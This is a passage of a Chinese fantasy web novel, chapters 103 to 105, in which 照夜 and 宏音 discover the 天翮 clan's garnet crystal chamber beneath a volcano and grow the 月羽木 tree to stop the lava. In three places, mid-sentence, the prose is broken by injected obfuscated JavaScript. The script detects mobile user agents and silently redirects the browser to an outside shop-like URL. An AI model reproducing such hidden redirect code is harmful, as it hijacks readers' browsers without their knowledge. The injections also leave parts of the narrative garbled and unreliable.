尾巴揉着并不存在的痛处,赶忙正色道,“好消息是,岩浆若保持活跃,其极致高温可如天火涤荡,将那些膣藟怪物的卵与巢穴焚烧殆尽。即便不能根除,也足以将其镇压至长久沉眠。” 我喉头发紧,目光不由自主地随着宏音一道,投向我们来时的那道地缝。若那是通道…… “坏消息是,”我接过尾巴的话,声音干涩,“一旦岩浆循着地缝或其他裂隙向上喷涌……便会吞噬整座天翮城。” “嘶嘶——!”我肩头猛地一沉,是那条黑脊蛇。它不知何时窜了上来,细长的身躯绷得笔直,蛇头急切地指向雾气朦胧的对岸——那里,岩壁之上,隐约可见一道狭窄的裂隙。 “宏音,它好像……在叫我们去对面避一避。” 待我拽了拽衣袖,宏音才从沉重的思虑中惊醒。此处空间逼仄,岩壁湿滑,焉耆无法安全化形载人,便只能指望这黑脊蛇了,只见其尾部牢牢固定,蛇身如一道富有弹性的乌黑桥梁般猛然探出,精准地卷住对岸凸石,将我们一个一个稳妥地“抛送”过去。 不得不承认,这几日地底同行下来,我对这条起初吓得瑟瑟发抖、如今却颇为可靠的黑蛇,有点喜欢了。 趁宏音陷入沉思之际,那一蛇一狗已在相对松软的岩壁上协力开凿出一条狭窄的通道。我们便在闷热与尘土中艰难前行,不知过了多久,直到我双腿灌铅、几近虚脱时,前方终于传来“砰”的一声闷响——黑脊蛇用覆着硬甲的头顶,撞开了最后一层阻隔前路的岩壁。 从最初刺骨的潮湿,到此刻咽喉灼烧般的干热,嘴唇的皲裂忠实地记录着环境的骤变。宏音凝出一捧清洌的水,悉数喂给我,自己却未曾沾唇。他疲惫地倚着洞壁,望向眼前豁然出现的景象,灰眸中沉淀着浓得化不开的颓然,以及……一丝了然后的绝望。 他或许与我一样,触摸到了那个被时光掩埋的残酷真相:千年前,月羽木凋零,膣藟灾祸横行,最终,是这场恰逢其会的地火喷发,镇压了怪物,却也同时… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549568|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …吞噬了所有天翮族人。幸存与毁灭,竟源于同一场劫难。 正当我与宏音对着这间泛着暗红幽光的巨大石室怔忡出神时,不远处传来焉耆急促的“嗷呜”声。我连忙循声跑去,只见黑脊蛇正奋力刨着一处松软的泥层。我挡开飞溅的土块,朝坑中定睛一看,心头猛然一紧—— “咳咳……咳……救、救命……好冷……” 一个个微弱如游丝的声音断续传出。我瞪大双眼,伸手将那奄奄一息的男人从泥里拽了出来,“钱太多?” 很快,在焉耆与黑脊蛇的协力下,七八个人被陆续从泥层中挖出。他们皆神情恍惚,意识游离,瑟瑟发抖地蜷缩着,无意识地想再次往泥土里钻,嘴里反复呢喃着“冷……好冷……” 可此地分明炎热如蒸笼,空气都因高温而扭曲。 “他们中了幻术。”宏音的手按上我的肩头,声音低沉,“碎蝶可能就在附近。” 我无暇多想,第一时间伸手,将依然挂在钱太多颈间的那截小树枝拽了下来。握入掌心的瞬间,我才感到那一直悬着的心,终于落回实处——还好,这件东西未曾遗失,否则真是万死难赎。 “你冒险至此,就是为了此物?”宏音的目光落在那截枯枝上。 我将那光芒微弱、明灭不定的小树枝小心翼翼递到宏音眼前,“别用力,”我轻声提醒,“这是月羽木最后的残枝了。” 宏音眼中骤然掠过惊涛骇浪,他紧紧盯住我,眉峰蹙起,“照夜,你如何得知?你……究竟是谁?” 我叹了口气,舔了舔干裂的嘴唇,只觉舌尖都是灼热的尘土味,“说来话长,”我迎上宏音探究的目光,“总之,我知道。信我便是。” 眼下水源珍贵,宏音已无力凝出大量净水为这些人洗去眼中的幻鳞粉。迫不得已,我们采取了更为简单直接醒神大法:扇耳光。 黑脊蛇与焉耆此刻倒是“勤勉”得很,尾巴和爪子甩得几乎出了残影,“啪啪”声响彻石洞。宏音则颓然坐在一旁暂歇,眉宇间是浓重的倦色与忧思。尾巴则独自飘到那暗红色的石洞入口,细细观察着。 此间空气稀薄,炽热难耐,更弥漫着一股刺鼻的、仿佛能腐蚀呼吸的毒气,绝非久留之地。我尚能支撑,只是渴得厉害。我将月羽木残枝收入青莲瓶中,心中默默祈祷,望这脆弱如风中残烛的生命之火,能熬过这地底的严酷。 “照夜,”尾巴的声音幽幽传来,带着一丝不易察觉的兴奋,“要不要进去一探究竟?” 我走到尾巴身边,伸手触碰那温热的石壁。触感并非普通岩石,细腻中带着晶体的凉意,内里却透出地火般的暖,“这是什么石头?” “石榴石。”尾巴的光晕流淌在暗红的壁面上,“极其坚硬,更妙的是能耐极致高温,便是滚沸的岩浆,也能阻隔。天翮族人……将他们的最终秘密,藏在了这里。” 我摩挲着温热的石壁,心中疑窦丛生,“我始终不解……为何非要将一切埋入地下,还是如此险恶的绝地?” 尾巴轻笑一声,光晕流转着凑近,在我干裂的唇上轻轻蹭了蹭——可惜,他并非清水所化,这亲昵的举动丝毫缓解不了我喉间的灼烧,“小笨蛋,”他声音里带着看透世事的了然,“越是靠近地火绝境,反而越安全。那些怪物天性畏火,不敢轻易靠近,正利于保存至关紧要之物。再用这等耐火的石榴石重重封存,便是双重保险。若是将宝贝安置在地面,战火一起,顷刻间便可能化为乌有。” “听起来倒有几分道理。”我哑声道,目光落回那严丝合缝的石壁上,“你又是从何得知?再说,我们怎么进去?来都来了,总得顺点好东西走,正好手头紧得很。”说到此处,我不由愤然,“就当是天翮城欠我的,拿些报酬,天经地义!” “哈哈,”尾巴得意地晃了晃,“钥匙嘛,我有。” 被“物理唤醒法”伺候了约莫半个时辰后,那几个脸肿如发面馒头的人终于陆续清醒。一见城主宏音立在眼前,顿时连滚爬起,跪倒一片,哭嚎求饶之声在石洞中回荡。钱太多涕泪横流,这才将遭遇断断续续道来。 103. 第103章 原来他们挖掘至最深处时,恰逢地动,原本难以推进的岩层裂开了这道缝隙。众人贪念作祟,决定深入探宝,便来到了这石榴石室之前。正当他们绞尽脑汁琢磨如何开启这诡异红门时,一个神秘女子悄然出现。交手不过几回合,众人便被其扬出的一片闪着幽光的鳞粉迷了眼,此后只觉堕入冰窟,寒意刺骨,竟不由自主将自己埋进土里“取暖”。 “宏音大人!救命啊!”钱太多死死抱住宏音的腿,哭得毫无形象,“小的原是鬼迷心窍,贪图宝贝……如今只求留条小命,再不敢了!” 宏音揉了揉突突直跳的太阳穴,挣开钱太多的拉扯,将我带到一旁,“照夜,你意如何?” 眼下我们自身脱困都难,何况带上这七八个惊魂未定的累赘。然而——我回头望向那宛如巨兽紧闭之口的暗红石壁。千辛万苦至此,若不进去亲眼看一看天翮族尘封千年的秘密,如何甘心? “我明白了。”未等我开口,宏音已从我的眼神中读出了答案,轻轻颔首道,“我与你同去。” “宏音,”我望着他,“你难道不好奇,里面究竟藏着什么吗?” 嘴角浮起一丝淡淡的苦笑,宏音抬手揉了揉我的发顶,“就当是……满足死前最后一点好奇心吧。” 我转身,气势汹汹地揪起钱太多的衣领,压低声音警告,“老实点,照看好你的人。若敢有异动——”我瞥了一眼远处那隐隐传来红光与热浪的地缝,“便将你丢下去,喂那岩浆。” 钱太多此刻哪还有半分平日奸猾精明的模样,连连点头哈腰,谄媚的笑容几乎咧到耳根,恨不能抱紧我的大腿。 事不宜迟。尾巴周身光芒一凝,竟缓缓拉伸、变形,最终化作一柄流淌着温润光华的奇异钥匙。他轻盈飞至石壁某处,毫不犹豫地将“钥匙”插入一个浑然天成的细微孔洞之中。 “咔嗒。” 一声轻响,仿佛触动了某个沉睡的古老机关。 紧接着,四周岩壁传来沉闷的轰鸣,似有巨兽在地底翻身。隆隆之声由远及近,脚下碎石簌簌跳动。只见眼前那坚硬无比的石榴石壁,竟从中悄无声息地裂开一道缝隙,幽暗、静谧,仿佛通往另一个时空。 不容迟疑,宏音一把攥住我的手腕,闪身掠入。就在我们踏入的刹那,身后传来巨石沉重闭合的轰然巨响,将外界的一切光线、声响与热浪彻底隔绝。 眼前,是一条完全由暗红色石榴石构筑的甬道。壁面光滑,泛着晶体特有的微光,却依然闷热难当,空气中弥漫着一种类似硫磺与金属混合的刺鼻气息,每一次呼吸都灼烧着肺叶。我们在这片寂静而压迫的红色微光中前行许久,久到几乎失去了时间的概念。 直到某一刻,甬道陡然到了尽头。 眼前的景象豁然开朗,足以让任何闯入者心神俱震、忘却呼吸——石隧道尽头所连接的,并非寻常的密室,而是一座宛如深藏于大地心脏、置身洪荒巨兽脏腑之中的巨大晶洞。穹顶高阔,四壁浑圆,不见丝毫人工斧凿的痕迹,全然是由无数赤红、半透明的巨大晶体自然生长、嵌合、堆叠而成,构成了一个近乎完美的球形空间——这才是名副其实的“石榴石室”。 这些庞大的红色晶体,是经受地心之火千万年煅烧与挤压后,蜕变而成的终极形态。它们不似人间宝石那般璀璨夺目,色泽反而深沉内敛,犹如渐渐冷却凝固的熔岩,或是沉淀了无数岁月的血珀。晶体内部,隐约可见一缕缕金红的光丝缓缓流转,仿佛封存着永不熄灭的微焰。外界的微光——或许来自晶体自身,或许来自更深处的地热——穿透它们厚重的躯体,被无数次折射、漫射,最终将整个空间笼罩在一片朦胧而恒久的暗红辉光里。这里没有昼夜,时间仿佛停滞,永远沐浴在一种庄严而温暖的、地心深处的“黄昏”之中。 然而,最令人心神俱震、屏息凝神的,并非是这自然伟力造就的晶洞本身,而是镶嵌在那无数暗红晶体壁面上的“珍藏”。 举目望去,在整个球形空间的晶壁之上,井然有序、密密麻麻地镶嵌着无数更为深邃、色泽近似暗涌鸽血的晶石石板。它们大小均匀,轮廓完美,宛如一颗颗饱满欲滴的石榴籽,又似无数只于亘古长夜中安然闭合的、属于文明的眼眸。 每一颗这样的“石榴籽”,都是一块经过极致炼化的“石榴石板”。板面光滑如最上等的墨玉,触手温润,内里却氤氲着如梦似幻的流光,似乎封存着某种活着的能量——这,便是天翮古族遗留给后世,或者说,遗留给虚空的终极秘宝。 尾巴早已按捺不住好奇,化作一缕纤薄的光影,贴着那些光滑的石板表面飞快游走,似在仔细“阅读”或感应着什么。钱太多等人见城主宏音并未出声制止,也按捺着惊恐与贪念,偷偷摸摸地仰头张望,眼中映照着红光,神色复杂难辨。 而宏音,只是静静地站在原地,抬手从最触手可及的壁面上,轻轻抽出了离他最近的一块石板。他的动作带着一种近乎虔诚的谨慎,指尖缓缓抚过石板表面那些古老而陌生的纹路,仿佛在触摸一个族群的皮肤与脉搏。 “原以为,历代文明皆以竹帛纸张传承智慧,”宏音低沉的声音在空旷的晶洞中回荡,带着一丝恍然与无尽的慨叹,“不曾想,天翮古族……竟是以这般决绝的方式,将历史铭刻于金石之中。” 随即,宏音抬起眼,目光缓缓扫过这布满“眼睛”的球形穹顶,仿佛在与无数逝去的魂灵对视。 “他们全部的智慧、历史、力量与记忆……皆以仙力为墨,镌刻于此,封存于此。”宏音的叹息轻得像一声耳语,却重重地落在每个人心上,“在这极热、极干、万物不存的绝地……他们舍弃了血肉之躯的存续,选择了与金石同朽,与地火共眠,达成了另一种意义上的……永恒。” 那隐隐流转在石板深处的淡金色光华,并非寻常文字,而是唯有特定血脉方能感应、吸纳的“仙力”讯息。这浩如烟海的宝藏,即便公之于世,于今人而言也不过是无字天书——因为能解读它的天翮古族,早已湮没在时光深处,再无后裔。 一股莫名的、沉甸甸的悲凉,毫无预兆地攫住了我的心。我仰望着这布满“眼睛”的球形空腔,忽然无比清晰地意识到:这里并非藏什么宝库,而是一座坟墓,一座以整座山体为棺椁,以炽热晶石为碑铭的、文明集体安息的巨冢。 宏音顺着晶壁缓缓滑坐在地,他面色苍白中透着不祥的青灰,额角沁出细密的冷汗,手臂无力地垂落身侧。他仰着头,干裂渗血的嘴唇微微张着,望着那些兀自散发暗红幽光的石板,眼神空茫,仿佛魂魄已随那逝去的文明一同飘远。 “照夜,”宏音声音沙哑得几乎破碎,“过来。” 我跪坐到宏音身边,伸手触碰他的额头——触手一片异常的湿冷,与周遭的灼热形成骇人的对比。他的法器是纯水,在此地成了最大的弱点。凝炼净水需要汲取周遭稀薄的水汽,却也同时将弥漫在空气中的毒瘴与火戾之气毫无过滤地引入己身。换句话说,宏音为了凝出那几捧清泉,正放任剧毒缓慢侵蚀自己的本源。 为了只是像现在一样,凝一捧清水给我解渴。 “喝吧,”宏音又凝出一小汪清澈,盛在微微发颤的掌心,递到我唇边,“这里……太燥了。” 我喉头一哽,慌忙偏头擦去骤然涌出的泪,才就着他的手,小心抿了一口。清水入喉,甘冽却带着一丝他生命力流逝的苦涩,“宏音,”我望进他逐渐黯淡的眸子,“你要放弃天翮城,放弃你的人民了吗?” “死于怪物之口,或葬于地火之中……”宏音扯了扯嘴角,露出一个近乎虚无的笑,“有何分别?灭亡,仿佛是烙印在这片土地上既定的宿命。所有的挣扎、守护、期盼……或许从最初,就只是一场徒劳。” “……” 指尖轻轻碰了碰我腰间的青莲瓶,宏音的声音低如梦呓,“即便月羽木尚存一息……我们也没有时间,等到它破土重生的那一天了。” “照夜!快来这边!”尾巴急促的呼唤从晶洞另一侧传来,他光晕构成的“身躯”正焦急地扭动着。 “去吧,照夜。”宏音用尽力气抬起手,冰凉的掌心抚过我的脸颊,轻轻将我往尾巴在的方向推了推,“他……或许是这世间唯一还能‘听’懂这些文明遗言的存在了。去……听听看吧。听听天翮族……真正的过去。” 我依言起身,走向尾巴。刚一靠近,尾巴便倏地缠绕上我的手腕,金色光晕与我的皮肤相接。刹那间,我手掌所触碰的那块暗红石板,内部猛然亮了起来! 紧接着,并非图像,也非声音,而是密密麻麻、宛如无数活物般的“文字”——或者说,是承载着信息本源的仙力流——如同决堤的洪流,汹涌澎湃地直接冲入我的脑海! 那并非完整的、形态复杂的古族文字。在金色仙力的激活与映照下,石板上原本繁复到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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翮山者,吾族肇始之基也。古之巨岳,喷薄地火,烈焰烛天,岩流奔涌百里。火熄烟寂,天降厚灰,被覆四野,其土色玄而质腻,握之若脂,遂成膏壤。 吾祖智师观山相地,引天涧寒泉循脉而下,以济地火余温。水火既济,阴阳乃和,沃土得滋,万物竞发。 中有异植,因势而生,叶如碧扇,茎透若冰,花开五萼,色作霜白,名曰「玉冰蓂」。其性至寒,盛夏取汁,饮之如嚼冰雪,烦渴顿消,诚消暑之妙品。然多食则腹冷彻骨,仙力凝滞,故日啖不过三株为宜,或佐以地火椒,以消其寒。 此物繁茂,一岁三获。秋时采之曝干,石臼磨粉,可久贮。每以温水调服,则肠腑通达,小溲如注,于热瘴之时尤显神效。昔年大疫,赖此物活者甚众,故又名「济生粉」。 录此以念天地化育之德,亦彰吾祖善用四时之智也。 这时,眼尖的钱太多等人见我久久驻足不动,神情古怪,便悄摸摸地凑近。我余光一扫,他们怀里衣襟鼓囊,形状棱角分明,显然已偷偷塞了几块石榴石板——打着即便看不懂,拿出去也是无价之宝的主意。 “哎呀呀,”钱太多搓着手,脸上堆起十二分的谄媚,“竟不知贵客能读懂这仙家文字!果然是咱们天翮族……不,是整个翮山的贵人!” 此地闷热灼人,我头脑有些发晕,也懒得应付钱太多,直接将手中刚“读”完的石板递过去,“喏,看吧。没什么稀奇,三岁小孩都看得懂。” 谁知,那石板刚一离开我的手,触到钱太多的指尖,表面流转的金光便倏然黯淡,内部活跃的仙力讯息瞬间沉寂,恢复成一块仅有纹路的暗红石头。 钱太多愣住,反复翻看,满头雾水。 “这里!照夜,快看这个!”尾巴兴奋的声音从另一侧传来,光晕急促闪烁,“地!火!椒!” 我暗自腹诽,这都什么书?随便看了两篇,篇篇不离“地火椒”,难道是什么宝物? 尾巴殷勤地将另一块石板推到我手边。金光弥漫间,新的文字洪流涌入我的意识。 《天翮本草·椒谱太初著》 地火椒,生于翮山地脉阳亢之隅,近地火而荣。其果硕红,艳若熔岩,皮薄而籽丰。 性极辛烈,非寻常可比。初尝如含火玉,顷刻间五内如焚,汗出如浆,然通体舒泰,寒湿尽祛。故可为膳,佐炒、拌渍,皆增奇香;亦入药,体寒者煮汤沐浴,效若神助。 然其物稀,唯险地可觅,岁产不过数斛。 族长遂命农官,移种于膏壤,悉心培育,历三岁乃成。其辣减半,性转温醇,然香气不绝,更宜日常。自此,天翮族人,无分老幼,皆嗜此味。 【太初批注】 余亦深好此物,虽变种味减,其韵犹存。每日晨起,必以之佐粥,有若月羽花茶,不可一日无此君。 104. 第104章 盛放吧,月羽木 “……这到底是有多喜欢地火椒?”我读完,只觉得一股灼热辛烈之气仿佛从字里行间窜出,直冲咽喉,搅得胃里一阵翻腾,“随便抽看三篇,篇篇不离此物。还有,这个‘太初’……是什么意思?” “啊?”尾巴的光晕疑惑地晃了晃,似乎觉得我被热糊涂了,他甚至轻轻拍了拍我的脸,当然,毫无清凉醒神之效,“著书人呗,能有什么意思?” “等等,”我抓住那一闪而过的灵光,“作者的名字……叫‘太初’?” 尾巴点了点那团光晕凝成的“脑袋”,语气理所当然,“嗯,太初是古姓啊。天翮族里最大、最古老的一支,都叫太初。” 我惊诧得无以复加,以至于半晌没注意到身后的动静。待回过神,才发现宏音已无声无息地晕厥在地。黑脊蛇正紧紧盘绕在他脖颈与额间,冰冷的蛇躯试图为他滚烫的皮肤降温。 “那、那最初的那位仙人——太初僊,也是天翮族人?”我声音发颤。 尾巴将阅读过的石板轻轻推回原位,拽了拽我的发梢,“没错。太初是姓,僊为其名。” 我心头一紧,急忙扑到宏音身边,将他揽到膝上。触手所及,他的额头烫得吓人,皮肤下的血液仿佛在沸腾,每一次微弱的脉搏都传递着骇人的热度。我手忙脚乱地扯开宏音的衣襟,朝尾巴急问,“他怎么了?!这是怎么回事?” 比我更慌乱的是焉耆,左右横跳嗷呜个不停,黑脊蛇便冷静多了,本就是冷血动物,用来祛热倒还算有些用处。 “空气里的水太稀薄,他凝不出更多了,”尾巴的声音沉了下来,光晕笼罩住宏音心口,将温和的仙力缓缓注入,试图平息那狂暴的血气,“便抽用了自己体内的水……小笨蛋照夜,你方才喝的,不是普通的水,是宏音的血。” “为什么……”我喉头哽得生疼,眼泪毫无征兆地砸落,正落在宏音紧闭的眼睫上,微微晕开,“干嘛对我这么好?我们……我们明明没有那么深的交情。” “大概,是不想重演当年无力拯救棠梨的过去吧。”尾巴幽幽一叹,光晕明灭,“这个家伙,一直活在懊悔与自责的囚笼里。当年……并非他有得选。守约卿年迈,信女掌事无权更无力,连处决信女都需看人脸色。唯有他这位聆月使,尚有一丝威信能震慑族人,稳住大局。他若抛下一切随棠梨远走月下州,归德、化西,乃至天翮,必生大乱。那些蛰伏在月下州、虎视眈眈的势力,便得逞了。” 尾巴顿了顿,声音更低,“何况……他们,本就不是真正的天翮古族后裔。” 是啊,他们甚至不知道。天翮先祖大费周章引来天涧寒泉,首要为的是调和地火、浇灌沃土,其次便是为了种植“玉冰蓂”这等清甜作物食用,而非用来沐浴以断绝生育之能,彰显什么虚无的奉献信仰。也恰恰是后人物用歧途,地火才会逐渐蔓延、喷发。 “救命——!” 这时,一声凄厉的惨叫骤然撕破晶洞的寂静! 轰隆巨响紧随而至,只见钱太多几人如破布般被狠狠甩在地上。尘埃稍定,一道身影立于石架之前——褐发飞扬,眼神冰冷,正是那神秘女子,碎蝶!她竟一直潜伏在侧,尾随我们进入了这绝密之地! 碎蝶毫不废话,扬手便是一把闪烁着诡异磷光,如星尘般弥漫开来的鳞粉。随即身形如鬼魅,轻盈跃至洞窟尽头最高处的石架之上。 钱太多等人吸入鳞粉,眼神瞬间混沌,口中发出非人的嗬嗬声,竟转身张牙舞爪地朝我们扑来! “焉耆!” 虽无法化形,焉耆仍旧嗷呜一声扑上前,一脚踹晕一个迷失神智的矿工,最后更是狠狠一口咬在钱太多肥硕的屁股上,仿佛忍不住要拿对方打牙祭了。 趁这混乱间隙,碎蝶已从最高处抽出一块颜色尤为深暗的石榴石板。她面无表情地扫过我们,身形如风,疾速冲向我们来时的石隧道入口。 恰在此时—— 整个晶洞剧烈震动起来!头顶簌簌落下细碎的石晶尘埃,远处隐隐传来沉闷如巨兽咆哮的轰鸣。地火,仿佛被彻底惊动,即将喷薄而出! “可恶!这女人潜伏地底,竟也是为了天翮族的‘秘宝’!”尾巴见宏音眼皮微动,立刻从宏音胸口跃起,跳到焉耆头顶,“跟上她!焉耆,快!” 一只滚烫的手艰难地握住我的手腕。宏音勉强睁开眼,瞳孔却有些涣散,仿佛已看不清我的模样,只是凭着本能低语,“照夜……快逃……离开天翮……地火……就要……” 宏音的声音断续微弱,周身皮肤泛出不正常的赤红,血脉偾张,仿佛下一刻就要被体内的高温点燃。此刻若能有几株至寒的“玉冰蓂”为他降温该多好……一旁的黑脊蛇虚弱地抬首,舔了舔宏音灼热的脸颊,随即也无力地垂下头——连日刨掘,它头部早已血肉模糊,也到了极限。 我们如同被置于逐渐烧红的铁板之上。这石榴石室虽能暂时抵御熔岩的直接冲击,却无法隔绝那无孔不入、节节攀升的致命高温。 这曾守护文明记忆的坚固堡垒,此刻,正变成一口缓缓加热、即将把我们烹煮窒息的……密闭石棺。 “说得对……我该走了。这天翮族大抵与我八字犯冲,自踏入此地便一路倒霉。平日里我都是躺着赢的,这回倒好——”我望着远处疾速折返、朝我奔来的焉耆与尾巴,声音轻得几乎听不见,“除了白捡一个‘笨蛋阿爹’,什么也没捞着。” 干裂的嘴唇费力地扯出一丝极淡的笑意,宏音双眼已布满血丝,视线涣散。他缓缓摊开掌心,气若游丝,“再……喝一口吧,照夜。真的……是最后一口了。” 折返回来的尾巴气得光晕乱颤,仿佛真要冒出烟来,“那女人溜得倒快!石隧彻底塌了,保护机关被触发,落了千斤断龙石!这下从里面,有钥匙也打不开了!” 我一把按住宏音凝水的手,阻止他继续燃烧所剩无几的生命。转头瞥了一眼横七竖八昏死的钱太多等人,我迅速扯过裙摆——这身名贵衣裙早已破烂不堪。叫焉耆用利齿帮我撕下柔韧的金蚕绣边内衬,又轻轻抓过那条伤痕累累的黑脊蛇,仔细为它包扎好血肉模糊的脑袋,打了个牢固的死结。 “也不知你叫什么名字,”我对着黑脊蛇暗金色的竖瞳低声道,“先叫你‘小黑’吧。小黑,这石榴石坚硬无比,我们需要打洞逃生。焉耆和尾巴会帮你。然后,你就带着这七个人先走,顺着地缝向上,越快越好——能办到吗?” “嘶……” “我就知道你能行。” 尾巴一跃跳到我头顶,忽然发出一声短促的笑,周身金光砰然暴涨,将黑脊蛇温柔地笼罩其中,“这黑蛇在说‘人家的名字是会飞能吃可断尾再生但唯独畏寒的洛杨河河主大黑玄洛镇主是也’。简而言之,它叫玄洛君。” “好了好了,小黑,”我将它塞到焉耆嘴边,“没得选了,开挖!” 焉耆默契地叼住小黑,疾奔至塌陷最薄弱的岩壁处。随着尾巴一声令下,璀璨的金光如铠甲般覆在一狗一蛇身上,它们开始以惊人的速度合力刨掘!坚硬的石榴石碎屑在炽热空气中纷飞。 我也没闲着。将宏音小心安置在相对稳固的角落,便开始连拖带拽,将钱太多和其他昏迷的家伙一个个挪到挖掘点附近。这个时候,一身肉的好处便体现了出来,除了练就了铁拳,也有力气将几个大老爷们拖到地方。 脚下的石板已烫得骇人,每一次呼吸都灼痛肺叶。岩浆,那毁灭的洪流,正一寸寸逼近,誓要将这石室连同其中所有记忆一同吞噬。我仰头,望向四壁那无数双“眼睛”——那些记录了天翮族起居饮食、耕作渔猎的石板。一个曾经最先领悟仙力、触摸天道的民族,原来也有如此鲜活、质朴、热爱生活的一面。 我想,这里或许并非他们的坟墓,而是——等待某一天,重新孕育生命的子宫才对。像这样的子宫,在这翮山深处,或许还有许多许多,它们都在寂静与黑暗中,等待着破壳重生、再见天光的那一刻。 只是,我也许要对著书人太初说声抱歉了,你细心记载的这一切,恐怕要随着涌入的岩浆,永远沉埋于地火之中了。 地面震动得愈发疯狂,如同垂死巨兽最后的痉挛。随着“哗啦”一声破裂的脆响,石壁终于被凿开一个狭窄的洞口!几乎同时,一股足以燎焦眉毛的恐怖热浪咆哮着冲入室内! 我扑到洞口望去,心脏瞬间缩紧——下方不远处,那暗红粘稠、缓缓蠕动的死亡之河,已然近在咫尺! “没时间了!走!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549570|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻言,小黑的身躯在金光照耀下猛然膨大,蛇尾如灵索般卷起钱太多等七人,牢牢缚住。它回头,最后看了我们一眼,暗金色的竖瞳里映照着地火的红光与我的倒影。随即,它绷紧如满弦之弓的躯体猛地一弹—— 嗖! 如同一道黑色的逆流流星,它卷着幸存者们,沿着那道深不见底、炽热奔腾的地缝,向着上方可能存在的一线生机,决绝地弹射而去! 几乎在同一刹那,身后传来天崩地裂般的轰鸣!炽烈的红光从我们来时的方向暴涨,吞噬了隧道,灼热的气浪如巨掌般拍打在背上。 火海,就要来了。 “你打算怎么办,照夜?”尾巴伏在我发间,望着四周因震动而纷纷坠落的暗红石板,声音异常平静,“不逃么?” 我伸手,轻轻覆上宏音紧闭的双眼,摇了摇头,“不逃了。这次,我不能逃。”我听见自己的声音在这轰鸣与炽热中,竟奇异地稳定下来,“若是棠梨在此……她也绝不会选择独自逃生。” “唉……”尾巴发出一声极轻的叹息,光晕温柔地贴上我干裂渗血的唇畔,那触感宛如一个无声的亲吻,“小小的人儿,心里却装着救世的宏愿……你这个笨蛋,照夜。”他的语气里没有责备,只有一片深海般的包容与纵容,“去吧,去走你认定该走的路。我会永远在你身边。” 我弯腰拾起焉耆,用尽力气搀扶起宏音几乎失去知觉的身体。他沉重地倚靠着我,每一步都摇摇欲坠。我们就这样,在崩塌与炽热中,艰难地走向石榴石室的最中心。 “宏音,别放弃……或许,这就是命运吧。”我对着宏音耳畔低语,仿佛也在说给自己听,“让我阴差阳错,回到了‘他’的故乡。看来,‘他’是真的很喜欢月羽木啊……因为那株能托起月亮的大树,本就拥有弥合山隙、镇压灾厄、平息地火的力量。” “……他……是谁?”宏音涣散的神志捕捉到只言片语,枯槁的唇微微翕动。他的身体如同龟裂的旱地,需要这世上最纯净的水才可滋润。 “他是太初僊,”我低头,对着残枝轻声笑了笑,又像在回答宏音,“虽自称‘煌木’,但我总觉得,他的来历远比这更悠远、更沉重……算了,那些往事此刻都不重要。”我抬起头,目光穿透震荡的空气,望向虚无的前方,“今日,便让我暂借‘太初’之姓,以最初仙人之名——回到这血脉伊始之地,为他的族人,种下一株足以庇护万民、绵延生机的……月羽木吧。” 立于天崩地裂的石窟中央,我将手中那截幼嫩的残枝,轻轻插入脚下已然开始龟裂、发烫的岩缝。 体内,那源自尾巴的金色仙力,前所未有地澎湃涌动起来,如同沉睡的星河骤然苏醒。灿烂的金芒从我掌心迸发,流泻而下,与残枝微弱的辉光水乳交融——那光芒不似凡火,更像熔化的旭日,又似开天辟地的第一缕曦光。 “扎根吧,”我低声吟诵,如同念响最古老的祝祷,“破土吧,生长吧……” “直至——盛放!” 轰——!!! 磅礴的金色仙力宛若天河倒灌,疯狂涌入那截看似脆弱的残枝!枯败的表皮瞬间被镀上流动的金液,下一秒—— 嗤!嗤!嗤! 数道璀璨如秘银、凝实如玉髓的根须,猛地从枝干底部爆射而出!它们并非柔软须蔓,而是携着无坚不摧的意志与沛然莫御的生命伟力,如同苏醒的银色狂龙,以撕裂一切阻碍的决绝姿态,悍然刺入脚下坚硬灼热的石榴石基! 足以抵抗岩浆侵蚀的奇石,在这代表“生长”与“弥合”的至高法则面前,竟脆弱如酥饼,被轻而易举地贯穿、撕裂! 月羽木,何需凡土?它的根脉,本身就是最强的开拓者与镇压者。银亮的根须沿着翮山最深、最隐秘的地脉与裂痕疯狂蔓延、分叉、交织……顷刻间便化作一张无比庞大、覆盖山体根基的银色光网,又似万千根定海神针,深深扎进这座火山每一个躁动不安的“穴位”,将其死死锚定! 地动山摇的震颤,开始改变韵律。它不再是毁灭的前奏,而是新生破壳时,挣脱一切束缚的、充满力量的搏动! “焉耆——听我号令!” “化形——!” “嗷呜——!!!” 105. 第105章 奇迹降临 黑色的幼犬身躯在耀世金光中砰然暴涨!利爪伸展,威严的巨兽之形赫然显现!它一口叼住宏音的后衣领向上一甩,用宽阔的脊背牢牢接住我们。紧紧攀附在月羽木那急速向上冲刺的主干顶端,如同乘着一条银色的巨龙,逆着坠落的山石与喷涌的烈火,向上!向上! 破土!新生! 在随着主干冲破岩层的最后一瞬,我回眸望向身后—— 只见下方那沸腾的赤红熔岩之海,竟被无数银蛇般的根须主动缠绕、刺入!足以焚尽万物的地火之力,此刻却成了最狂暴的养料,被根须贪婪地汲取、转化。银光顺着主干汹涌奔腾,每吸收一分地火,便催生出更多坚韧的根须,它们牢牢抓住山体的每一处创伤,强力地弥合、加固着这座千疮百孔的翮山。 咔嚓!轰隆——!!! 